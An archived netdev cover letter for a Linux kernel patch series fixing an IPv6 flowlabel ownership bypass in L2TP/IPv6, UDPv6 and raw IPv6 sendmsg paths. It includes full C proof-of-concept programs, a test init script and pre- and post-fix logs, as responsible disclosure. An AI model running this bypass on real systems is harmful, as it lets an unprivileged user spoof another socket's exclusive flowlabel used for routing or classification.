Netdev List
 help / color / mirror / Atom feed
From: Ren Wei <weir@nebusec.ai>
To: netdev@vger.kernel.org
Cc: davem@davemloft.net, edumazet@kernel.org, kuba@kernel.org,
	pabeni@redhat.com, willemb@google.com, horms@kernel.org,
	celston@katalix.com, jchapman@katalix.com,
	willemdebruijn.kernel@gmail.com, joe@dama.to, kuniyu@google.com,
	leitao@debian.org, jiayuan.chen@linux.dev, lirongqing@baidu.com,
	n0ps1edzz@gmail.com, vega@nebusec.ai, caoruide123@gmail.com,
	weir@nebusec.ai
Subject: [PATCH net 0/3] ipv6: validate flowlabel ownership after cmsg override
Date: Mon, 30 Nov 2026 11:02:19 +0800	[thread overview]
Message-ID: <cover.1795693858.git.caoruide123@gmail.com> (raw)

From: Ruide Cao <caoruide123@gmail.com>

Hi Linux kernel maintainers,

This bug is tracked at: https://bugtracker.nebusec.ai/f/12090

We found an issue in net/l2tp/l2tp_ip6.c (l2tp_ip6_sendmsg()), and the
same pattern in net/ipv6/udp.c (udpv6_sendmsg()) and net/ipv6/raw.c
(rawv6_sendmsg()).

When IPV6_FLOWINFO_SEND is enabled, these sendmsg() paths look up the
flowlabel named in the destination sockaddr and keep a reference to it.
They then call ip6_datagram_send_ctl(), which may replace fl6.flowlabel
with the value of an IPV6_FLOWINFO cmsg. The ownership lookup that
follows only runs when no flowlabel reference is held yet:

	if ((fl6.flowlabel & IPV6_FLOWLABEL_MASK) && !flowlabel)

so a socket can name a label it owns in the sockaddr, replace it with
another socket's IPV6_FL_S_EXCL label in the cmsg, and the packet goes
out with the exclusive label while fl6_merge_options() still uses the
options of the stale label. Using the exclusive label directly, or only
in the cmsg, is rejected with EINVAL as expected.

This is a logic bypass of exclusive flowlabel ownership, which matters
where flowlabels are used for routing or classification. It is not a
memory-safety bug; no crash or KASAN report is expected.

Privilege model: the L2TP/IPv6 (SOCK_DGRAM, IPPROTO_L2TP) and UDPv6
paths are reachable by an unprivileged user with no capabilities and no
namespaces. The raw IPv6 path needs CAP_NET_RAW to create the socket;
in the reproducer an unprivileged user gets it inside its own user and
network namespace with unshare -Urn.

The fix is the same in each caller: after ip6_datagram_send_ctl(), drop
the held reference if its label differs from the final label, so that
the existing lookup checks ownership of the label that is actually
sent. ip6_datagram_send_ctl() is not changed. Rejecting a differing
label there would break legitimate per-send overrides (for example a
connected socket's default label replaced by another label the socket
owns), and it cannot tell whether the earlier label came from an owned
flowlabel object. Each caller is a separate patch because the pattern
was introduced at different times:

  1/3 l2tp: since l2tp_ip6.c was added in
      commit a32e0eec7042 ("l2tp: introduce L2TPv3 IP encapsulation support for IPv6")
  2/3 udp and 3/3 raw: present since the initial git import,
      commit 1da177e4c3f4 ("Linux-2.6.12-rc2")

Tested: in 2 GB RAM x86 QEMU on the base-commit below with
CONFIG_IPV6=y, CONFIG_L2TP=y, CONFIG_L2TP_V3=y and CONFIG_L2TP_IP=y. Without the
series, the mixed sockaddr-A + cmsg-B send succeeds and the receiver
sees flowlabel 0x22222 on L2TP/IPv6, UDPv6 and raw IPv6. With the
series, that send fails with EINVAL on all three, while the direct,
cmsg-only and baseline sends behave as before (log below).

Reproducer: l2tp-poc.c is the L2TP/IPv6 PoC; flowlabel-variant.c covers
UDPv6 ("udp") and raw IPv6 ("raw"). Both are built with
gcc -O2 -static and run from the initramfs /init below.

------BEGIN PoC------
/* ===== /init ===== */
#!/bin/sh
export PATH=/sbin:/bin
export LD_LIBRARY_PATH=/lib:/lib/x86_64-linux-gnu:/lib64
mount -t proc proc /proc
mount -t sysfs sys /sys
mount -t devtmpfs dev /dev 2>/dev/null || mount -t tmpfs tmpfs /dev
mkdir -p /tmp /dev/shm /run
mount -t tmpfs tmpfs /tmp
chmod 1777 /tmp
ip link set lo up
echo "=== uname $(uname -r) ==="
echo "=== /proc/net/protocols (L2TP/IP6) ==="
grep -E "^(L2TP/IPv6|UDPv6|RAWv6) " /proc/net/protocols | awk '{print $1}'
echo "=== [l2tp] platform PoC as test_user (no namespaces) ==="
su -s /bin/sh -c 'grep CapEff /proc/self/status; exec /l2tp-poc' test_user 2>&1
echo "=== [l2tp] exit=$? ==="
# l2tp PoC labels linger for 30s; wait until they are gone before reusing 0x11111/0x22222
w=0
while grep -qiE "^(11111|22222) " /proc/net/ip6_flowlabel && [ "$w" -lt 120 ]; do sleep 1; w=$((w+1)); done
echo "=== waited ${w}s for lingering l2tp PoC flowlabels to expire ==="
echo "=== [udp] flowlabel-variant udp as test_user (no namespaces) ==="
su -s /bin/sh -c 'grep CapEff /proc/self/status; exec /flowlabel-variant udp' test_user 2>&1
echo "=== [udp] exit=$? ==="
echo "=== [raw] flowlabel-variant raw as test_user; CAP_NET_RAW obtained via unshare -Urn (own user+net namespace, lo brought up inside) ==="
su -s /bin/sh -c 'echo "outer: $(id)"; grep CapEff /proc/self/status; exec unshare -Urn -- /bin/sh -c "ip link set lo up; echo \"inner: \$(id)\"; grep CapEff /proc/self/status; echo \"uid_map: \$(cat /proc/self/uid_map)\"; exec /flowlabel-variant raw"' test_user 2>&1
echo "=== [raw] exit=$? ==="
echo "=== DONE ==="
sync
poweroff -f

/* ===== l2tp-poc.c ===== */
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>

#ifndef SOL_IPV6
#define SOL_IPV6 IPPROTO_IPV6
#endif

#ifndef IPPROTO_L2TP
#define IPPROTO_L2TP 115
#endif

#ifndef IPV6_FLOWINFO
#define IPV6_FLOWINFO 11
#endif

#ifndef IPV6_FLOWLABEL_MGR
#define IPV6_FLOWLABEL_MGR 32
#endif

#ifndef IPV6_FLOWINFO_SEND
#define IPV6_FLOWINFO_SEND 33
#endif

#ifndef IPV6_FLOWINFO_FLOWLABEL
#define IPV6_FLOWINFO_FLOWLABEL 0x000fffff
#endif

#ifndef IPV6_FL_A_GET
#define IPV6_FL_A_GET 0
#define IPV6_FL_A_PUT 1
#define IPV6_FL_A_RENEW 2
#endif

#ifndef IPV6_FL_F_CREATE
#define IPV6_FL_F_CREATE 1
#define IPV6_FL_F_EXCL 2
#define IPV6_FL_F_REFLECT 4
#define IPV6_FL_F_REMOTE 8
#endif

#ifndef IPV6_FL_S_EXCL
#define IPV6_FL_S_NONE 0
#define IPV6_FL_S_EXCL 1
#define IPV6_FL_S_PROCESS 2
#define IPV6_FL_S_USER 3
#define IPV6_FL_S_ANY 255
#endif

struct sockaddr_l2tpip6 {
	sa_family_t l2tp_family;
	uint16_t l2tp_unused;
	uint32_t l2tp_flowinfo;
	struct in6_addr l2tp_addr;
	uint32_t l2tp_scope_id;
	uint32_t l2tp_conn_id;
};

struct in6_flowlabel_req {
	struct in6_addr flr_dst;
	uint32_t flr_label;
	uint8_t flr_action;
	uint8_t flr_share;
	uint16_t flr_flags;
	uint16_t flr_expires;
	uint16_t flr_linger;
	uint32_t __flr_pad;
};

static void die(const char *msg)
{
	perror(msg);
	exit(EXIT_FAILURE);
}

static void fail_msg(const char *msg)
{
	fprintf(stderr, "FAIL: %s\n", msg);
	exit(EXIT_FAILURE);
}

static uint32_t host_to_flowinfo(uint32_t label)
{
	return htonl(label & IPV6_FLOWINFO_FLOWLABEL);
}

static int make_l2tp_socket(const char *name)
{
	int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_L2TP);

	if (fd < 0) {
		fprintf(stderr, "socket(%s) failed: %s\n", name, strerror(errno));
		exit(EXIT_FAILURE);
	}
	return fd;
}

static void bind_l2tp_socket(int fd, const struct in6_addr *addr, uint32_t conn_id)
{
	struct sockaddr_l2tpip6 sa;

	memset(&sa, 0, sizeof(sa));
	sa.l2tp_family = AF_INET6;
	sa.l2tp_addr = *addr;
	sa.l2tp_conn_id = conn_id;

	if (bind(fd, (const struct sockaddr *)&sa, sizeof(sa)) < 0)
		die("bind(AF_INET6, SOCK_DGRAM, IPPROTO_L2TP)");
}

static void set_int_sockopt(int fd, int level, int optname, int value, const char *what)
{
	if (setsockopt(fd, level, optname, &value, sizeof(value)) < 0) {
		fprintf(stderr, "setsockopt(%s) failed: %s\n", what, strerror(errno));
		exit(EXIT_FAILURE);
	}
}

static void create_flowlabel(int fd, const struct in6_addr *dst, uint32_t label,
			     uint8_t share, const char *what)
{
	struct in6_flowlabel_req req;

	memset(&req, 0, sizeof(req));
	req.flr_dst = *dst;
	req.flr_label = host_to_flowinfo(label);
	req.flr_action = IPV6_FL_A_GET;
	req.flr_share = share;
	req.flr_flags = IPV6_FL_F_CREATE | IPV6_FL_F_EXCL;
	req.flr_expires = 30;
	req.flr_linger = 30;

	if (setsockopt(fd, SOL_IPV6, IPV6_FLOWLABEL_MGR, &req, sizeof(req)) < 0) {
		fprintf(stderr, "setsockopt(IPV6_FLOWLABEL_MGR, %s) failed: %s\n",
			what, strerror(errno));
		exit(EXIT_FAILURE);
	}
}

static ssize_t send_control_frame(int fd, const struct in6_addr *dst, uint32_t tunnel_id,
				  uint32_t sockaddr_label, const uint32_t *cmsg_label,
				  uint8_t marker)
{
	struct sockaddr_l2tpip6 sa;
	struct msghdr msg;
	struct iovec iov;
	uint8_t payload[12];
	char cbuf[CMSG_SPACE(sizeof(uint32_t))];

	memset(&sa, 0, sizeof(sa));
	sa.l2tp_family = AF_INET6;
	sa.l2tp_addr = *dst;
	sa.l2tp_flowinfo = host_to_flowinfo(sockaddr_label);

	memset(payload, 0, sizeof(payload));
	payload[0] = 0xc8;
	payload[1] = 0x02;
	payload[2] = 0x00;
	payload[3] = sizeof(payload);
	payload[4] = (uint8_t)(tunnel_id >> 24);
	payload[5] = (uint8_t)(tunnel_id >> 16);
	payload[6] = (uint8_t)(tunnel_id >> 8);
	payload[7] = (uint8_t)tunnel_id;
	payload[10] = marker;
	payload[11] = marker;

	memset(&msg, 0, sizeof(msg));
	iov.iov_base = payload;
	iov.iov_len = sizeof(payload);
	msg.msg_name = &sa;
	msg.msg_namelen = sizeof(sa);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	if (cmsg_label) {
		struct cmsghdr *cmsg;
		uint32_t flowinfo = host_to_flowinfo(*cmsg_label);

		memset(cbuf, 0, sizeof(cbuf));
		msg.msg_control = cbuf;
		msg.msg_controllen = sizeof(cbuf);

		cmsg = CMSG_FIRSTHDR(&msg);
		cmsg->cmsg_level = SOL_IPV6;
		cmsg->cmsg_type = IPV6_FLOWINFO;
		cmsg->cmsg_len = CMSG_LEN(sizeof(flowinfo));
		memcpy(CMSG_DATA(cmsg), &flowinfo, sizeof(flowinfo));
	}

	return sendmsg(fd, &msg, 0);
}

static void expect_errno(ssize_t ret, int want_errno, const char *what)
{
	if (ret >= 0)
		fail_msg(what);
	if (errno != want_errno) {
		fprintf(stderr, "FAIL: %s: got errno=%d (%s), expected %d (%s)\n",
			what, errno, strerror(errno), want_errno, strerror(want_errno));
		exit(EXIT_FAILURE);
	}
}

static uint32_t recv_flowlabel(int fd, uint32_t expected_tunnel_id, uint8_t expected_marker)
{
	struct msghdr msg;
	struct iovec iov;
	struct sockaddr_l2tpip6 peer;
	uint8_t data[128];
	char cbuf[256];
	ssize_t n;
	uint32_t label = 0;
	bool saw_flowinfo = false;

	memset(&msg, 0, sizeof(msg));
	memset(&peer, 0, sizeof(peer));
	iov.iov_base = data;
	iov.iov_len = sizeof(data);
	msg.msg_name = &peer;
	msg.msg_namelen = sizeof(peer);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cbuf;
	msg.msg_controllen = sizeof(cbuf);

	n = recvmsg(fd, &msg, 0);
	if (n < 0)
		die("recvmsg");
	if (n < 12)
		fail_msg("short control frame received");
	if (data[4] != (uint8_t)(expected_tunnel_id >> 24) ||
	    data[5] != (uint8_t)(expected_tunnel_id >> 16) ||
	    data[6] != (uint8_t)(expected_tunnel_id >> 8) ||
	    data[7] != (uint8_t)expected_tunnel_id)
		fail_msg("unexpected tunnel id in received frame");
	if (data[10] != expected_marker || data[11] != expected_marker)
		fail_msg("unexpected marker in received frame");

	for (struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
	     cmsg != NULL;
	     cmsg = CMSG_NXTHDR(&msg, cmsg)) {
		if (cmsg->cmsg_level == SOL_IPV6 &&
		    cmsg->cmsg_type == IPV6_FLOWINFO &&
		    cmsg->cmsg_len >= CMSG_LEN(sizeof(uint32_t))) {
			uint32_t flowinfo;

			memcpy(&flowinfo, CMSG_DATA(cmsg), sizeof(flowinfo));
			label = ntohl(flowinfo) & IPV6_FLOWINFO_FLOWLABEL;
			saw_flowinfo = true;
		}
	}

	if (!saw_flowinfo)
		fail_msg("receiver did not observe IPV6_FLOWINFO ancillary data");
	return label;
}

static void print_result(const char *tag, uint32_t label)
{
	printf("%s observed flowlabel 0x%05x\n", tag, label);
}

int main(void)
{
	const uint32_t sender_label = 0x11111;
	const uint32_t exclusive_label = 0x22222;
	const uint32_t recv_tunnel_id = 0x44444444;
	const uint32_t sender_conn_id = 0x11111111;
	const uint32_t owner_conn_id = 0x22222222;
	struct in6_addr loopback = IN6ADDR_LOOPBACK_INIT;
	struct timeval tv = {
		.tv_sec = 1,
		.tv_usec = 0,
	};
	uint32_t observed;
	int one = 1;
	int sender;
	int owner;
	int receiver;
	ssize_t ret;

	printf("Running as uid=%ld gid=%ld\n", (long)getuid(), (long)getgid());

	sender = make_l2tp_socket("sender");
	owner = make_l2tp_socket("owner");
	receiver = make_l2tp_socket("receiver");

	bind_l2tp_socket(sender, &loopback, sender_conn_id);
	bind_l2tp_socket(owner, &loopback, owner_conn_id);
	bind_l2tp_socket(receiver, &loopback, recv_tunnel_id);

	set_int_sockopt(sender, SOL_IPV6, IPV6_FLOWINFO_SEND, one, "IPV6_FLOWINFO_SEND");
	set_int_sockopt(receiver, SOL_IPV6, IPV6_FLOWINFO, one, "IPV6_FLOWINFO");
	if (setsockopt(receiver, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0)
		die("setsockopt(SO_RCVTIMEO)");

	create_flowlabel(sender, &loopback, sender_label, IPV6_FL_S_ANY, "sender-label");
	create_flowlabel(owner, &loopback, exclusive_label, IPV6_FL_S_EXCL, "owner-exclusive-label");

	ret = send_control_frame(sender, &loopback, recv_tunnel_id, exclusive_label, NULL, 0x10);
	expect_errno(ret, EINVAL, "direct use of another socket's exclusive label unexpectedly succeeded");
	printf("direct exclusive-label send was rejected with EINVAL as expected\n");

	ret = send_control_frame(sender, &loopback, recv_tunnel_id, 0, &exclusive_label, 0x20);
	expect_errno(ret, EINVAL, "ancillary-only use of another socket's exclusive label unexpectedly succeeded");
	printf("ancillary-only exclusive-label send was rejected with EINVAL as expected\n");

	ret = send_control_frame(sender, &loopback, recv_tunnel_id, sender_label, NULL, 0x30);
	if (ret < 0)
		die("baseline sendmsg");
	observed = recv_flowlabel(receiver, recv_tunnel_id, 0x30);
	print_result("baseline", observed);
	if (observed != sender_label)
		fail_msg("baseline packet did not carry the sender-owned flowlabel");

	ret = send_control_frame(sender, &loopback, recv_tunnel_id, sender_label, &exclusive_label, 0x40);
	if (ret < 0)
		die("bypass sendmsg");
	observed = recv_flowlabel(receiver, recv_tunnel_id, 0x40);
	print_result("bypass", observed);
	if (observed != exclusive_label)
		fail_msg("bypass packet did not carry the unauthorized exclusive flowlabel");

	printf("TRIGGERED: sender-owned sockaddr label 0x%05x plus ancillary label 0x%05x bypassed exclusive ownership\n",
	       sender_label, exclusive_label);

	close(receiver);
	close(owner);
	close(sender);
	return 0;
}

/* ===== flowlabel-variant.c ===== */
// SPDX-License-Identifier: GPL-2.0
/*
 * udpv6_sendmsg()/rawv6_sendmsg() flowlabel ownership check.
 * "udp": unprivileged UDPv6 sockets.
 * "raw": raw IPv6 sockets, needs CAP_NET_RAW; run it inside "unshare -Urn"
 *        as an unprivileged user and bring lo up first.
 */
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <linux/in6.h>

#ifndef IPV6_FLOWINFO_SEND
#define IPV6_FLOWINFO_SEND 33
#endif

#define PROTO 253	/* RFC 3692 experimental protocol number */
#define PORT 40999

static int raw;

static void mkfl(int fd, const struct in6_addr *d, uint32_t l, int share)
{
	struct in6_flowlabel_req r;

	memset(&r, 0, sizeof(r));
	r.flr_dst = *d;
	r.flr_label = htonl(l);
	r.flr_action = IPV6_FL_A_GET;
	r.flr_share = share;
	r.flr_flags = IPV6_FL_F_CREATE | IPV6_FL_F_EXCL;
	r.flr_expires = 30;
	r.flr_linger = 30;
	if (setsockopt(fd, SOL_IPV6, IPV6_FLOWLABEL_MGR, &r, sizeof(r))) {
		perror("IPV6_FLOWLABEL_MGR");
		exit(1);
	}
}

static int snd(int fd, uint32_t sl, const uint32_t *cl, char marker)
{
	char cb[CMSG_SPACE(4)], p[4] = { marker, 'b', 'c', 0 };
	struct iovec io = { p, sizeof(p) };
	struct sockaddr_in6 s = { 0 };
	struct msghdr m = { 0 };

	s.sin6_family = AF_INET6;
	s.sin6_addr = in6addr_loopback;
	s.sin6_port = raw ? 0 : htons(PORT);
	s.sin6_flowinfo = htonl(sl);
	m.msg_name = &s;
	m.msg_namelen = sizeof(s);
	m.msg_iov = &io;
	m.msg_iovlen = 1;
	if (cl) {
		struct cmsghdr *c;
		uint32_t v = htonl(*cl);

		memset(cb, 0, sizeof(cb));
		m.msg_control = cb;
		m.msg_controllen = sizeof(cb);
		c = CMSG_FIRSTHDR(&m);
		c->cmsg_level = SOL_IPV6;
		c->cmsg_type = IPV6_FLOWINFO;
		c->cmsg_len = CMSG_LEN(4);
		memcpy(CMSG_DATA(c), &v, 4);
	}
	return sendmsg(fd, &m, 0);
}

static void rcv(int fd, const char *tag, char marker)
{
	char d[64], cb[256];
	struct iovec io = { d, sizeof(d) };
	struct msghdr m = { 0 };
	struct cmsghdr *c;

	for (;;) {
		m.msg_iov = &io;
		m.msg_iovlen = 1;
		m.msg_control = cb;
		m.msg_controllen = sizeof(cb);
		if (recvmsg(fd, &m, 0) < 0) {
			perror("recvmsg");
			exit(1);
		}
		if (d[0] == marker)
			break;
	}
	for (c = CMSG_FIRSTHDR(&m); c; c = CMSG_NXTHDR(&m, c)) {
		if (c->cmsg_level == SOL_IPV6 && c->cmsg_type == IPV6_FLOWINFO) {
			uint32_t v;

			memcpy(&v, CMSG_DATA(c), 4);
			printf("%s observed flowlabel 0x%05x\n", tag,
			       ntohl(v) & 0xfffff);
			return;
		}
	}
	printf("%s: no IPV6_FLOWINFO cmsg\n", tag);
}

int main(int argc, char **argv)
{
	struct sockaddr_in6 a = { 0 };
	struct in6_addr lo = in6addr_loopback;
	struct timeval tv = { 1, 0 };
	uint32_t B = 0x22222;
	int one = 1, s, o, r, ret;

	raw = argc > 1 && !strcmp(argv[1], "raw");
	printf("Running as uid=%ld gid=%ld mode=%s\n",
	       (long)getuid(), (long)getgid(), raw ? "raw" : "udp");
	if (raw) {
		s = socket(AF_INET6, SOCK_RAW, PROTO);
		r = socket(AF_INET6, SOCK_RAW, PROTO);
	} else {
		s = socket(AF_INET6, SOCK_DGRAM, 0);
		r = socket(AF_INET6, SOCK_DGRAM, 0);
	}
	o = socket(AF_INET6, SOCK_DGRAM, 0);
	if (s < 0 || r < 0 || o < 0) {
		perror("socket");
		return 1;
	}
	a.sin6_family = AF_INET6;
	a.sin6_addr = lo;
	a.sin6_port = raw ? 0 : htons(PORT);
	if (bind(r, (struct sockaddr *)&a, sizeof(a))) {
		perror("bind");
		return 1;
	}
	setsockopt(s, SOL_IPV6, IPV6_FLOWINFO_SEND, &one, sizeof(one));
	setsockopt(r, SOL_IPV6, IPV6_FLOWINFO, &one, sizeof(one));
	setsockopt(r, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
	mkfl(s, &lo, 0x11111, IPV6_FL_S_ANY);
	mkfl(o, &lo, 0x22222, IPV6_FL_S_EXCL);

	ret = snd(s, 0x22222, NULL, '1');
	printf("direct B ret=%d errno=%s\n", ret, ret < 0 ? strerror(errno) : "OK");
	if (ret >= 0)
		rcv(r, "direct", '1');
	ret = snd(s, 0, &B, '2');
	printf("cmsg-only B ret=%d errno=%s\n", ret, ret < 0 ? strerror(errno) : "OK");
	if (ret >= 0)
		rcv(r, "cmsg-only", '2');
	ret = snd(s, 0x11111, NULL, '3');
	printf("baseline A ret=%d\n", ret);
	if (ret >= 0)
		rcv(r, "baseline", '3');
	ret = snd(s, 0x11111, &B, '4');
	printf("sin6 A + cmsg B ret=%d errno=%s\n", ret, ret < 0 ? strerror(errno) : "OK");
	if (ret >= 0)
		rcv(r, "bypass", '4');
	return 0;
}
------END PoC--------

Raw console output of two QEMU boots (2 GB RAM, x86, TCG), same
initramfs, kernel 7.4.0-rc3; lines are verbatim, [...] marks omitted
firmware/boot output and the /proc/net/protocols check.
pre-fix: the base-commit below; post-fix: base-commit + this series.
l2tp and udp run as test_user (uid 1000, CapEff 0) with no namespaces.
raw runs as test_user inside its own user+net namespace
(unshare -Urn), which is where CAP_NET_RAW comes from.

Pre-fix (base-commit):

----BEGIN crash log----
[...]
=== [l2tp] platform PoC as test_user (no namespaces) ===
CapEff:	0000000000000000
Running as uid=1000 gid=1000
direct exclusive-label send was rejected with EINVAL as expected
ancillary-only exclusive-label send was rejected with EINVAL as expected
baseline observed flowlabel 0x11111
bypass observed flowlabel 0x22222
TRIGGERED: sender-owned sockaddr label 0x11111 plus ancillary label 0x22222 bypassed exclusive ownership
=== [l2tp] exit=0 ===
=== waited 30s for lingering l2tp PoC flowlabels to expire ===
=== [udp] flowlabel-variant udp as test_user (no namespaces) ===
CapEff:	0000000000000000
Running as uid=1000 gid=1000 mode=udp
direct B ret=-1 errno=Invalid argument
cmsg-only B ret=-1 errno=Invalid argument
baseline A ret=4
baseline observed flowlabel 0x11111
sin6 A + cmsg B ret=4 errno=OK
bypass observed flowlabel 0x22222
=== [udp] exit=0 ===
=== [raw] flowlabel-variant raw as test_user; CAP_NET_RAW obtained via unshare -Urn (own user+net namespace, lo brought up inside) ===
outer: uid=1000(test_user) gid=1000(test_user) groups=1000(test_user)
CapEff:	0000000000000000
inner: uid=0(root) gid=0(root) groups=0(root)
CapEff:	000001ffffffffff
uid_map:          0       1000          1
Running as uid=0 gid=0 mode=raw
direct B ret=-1 errno=Invalid argument
cmsg-only B ret=-1 errno=Invalid argument
baseline A ret=4
baseline observed flowlabel 0x11111
sin6 A + cmsg B ret=4 errno=OK
bypass observed flowlabel 0x22222
=== [raw] exit=0 ===
[...]
-----END crash log-----

Post-fix (base-commit + patches 1-3):

----BEGIN crash log----
[...]
=== [l2tp] platform PoC as test_user (no namespaces) ===
CapEff:	0000000000000000
Running as uid=1000 gid=1000
direct exclusive-label send was rejected with EINVAL as expected
ancillary-only exclusive-label send was rejected with EINVAL as expected
baseline observed flowlabel 0x11111
bypass sendmsg: Invalid argument
=== [l2tp] exit=1 ===
=== waited 30s for lingering l2tp PoC flowlabels to expire ===
=== [udp] flowlabel-variant udp as test_user (no namespaces) ===
CapEff:	0000000000000000
Running as uid=1000 gid=1000 mode=udp
direct B ret=-1 errno=Invalid argument
cmsg-only B ret=-1 errno=Invalid argument
baseline A ret=4
baseline observed flowlabel 0x11111
sin6 A + cmsg B ret=-1 errno=Invalid argument
=== [udp] exit=0 ===
=== [raw] flowlabel-variant raw as test_user; CAP_NET_RAW obtained via unshare -Urn (own user+net namespace, lo brought up inside) ===
outer: uid=1000(test_user) gid=1000(test_user) groups=1000(test_user)
CapEff:	0000000000000000
inner: uid=0(root) gid=0(root) groups=0(root)
CapEff:	000001ffffffffff
uid_map:          0       1000          1
Running as uid=0 gid=0 mode=raw
direct B ret=-1 errno=Invalid argument
cmsg-only B ret=-1 errno=Invalid argument
baseline A ret=4
baseline observed flowlabel 0x11111
sin6 A + cmsg B ret=-1 errno=Invalid argument
=== [raw] exit=0 ===
[...]
-----END crash log-----

Best regards,
Ruide Cao

Ruide Cao (3):
  l2tp: revalidate IPv6 flowlabel after ancillary data
  ipv6: udp: revalidate flowlabel after ancillary data
  ipv6: raw: revalidate flowlabel after ancillary data

 net/ipv6/raw.c      | 5 +++++
 net/ipv6/udp.c      | 5 +++++
 net/l2tp/l2tp_ip6.c | 5 +++++
 3 files changed, 15 insertions(+)


base-commit: 6fa8b41044484c3c59a28b3b380613ccc0e69d40
-- 
2.47.3


             reply	other threads:[~2026-11-30  3:02 UTC|newest]

Thread overview: 5+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-11-30  3:02 Ren Wei [this message]
2026-11-30  3:02 ` [PATCH net 1/3] l2tp: revalidate IPv6 flowlabel after ancillary data Ren Wei
2026-11-30  3:02 ` [PATCH net 2/3] ipv6: udp: revalidate " Ren Wei
2026-11-30  3:02 ` [PATCH net 3/3] ipv6: raw: " Ren Wei
2026-11-30  3:09 ` [PATCH net 0/3] ipv6: validate flowlabel ownership after cmsg override netdev-bot+sinfo

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1795693858.git.caoruide123@gmail.com \
    --to=weir@nebusec.ai \
    --cc=caoruide123@gmail.com \
    --cc=celston@katalix.com \
    --cc=davem@davemloft.net \
    --cc=edumazet@kernel.org \
    --cc=horms@kernel.org \
    --cc=jchapman@katalix.com \
    --cc=jiayuan.chen@linux.dev \
    --cc=joe@dama.to \
    --cc=kuba@kernel.org \
    --cc=kuniyu@google.com \
    --cc=leitao@debian.org \
    --cc=lirongqing@baidu.com \
    --cc=n0ps1edzz@gmail.com \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=vega@nebusec.ai \
    --cc=willemb@google.com \
    --cc=willemdebruijn.kernel@gmail.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox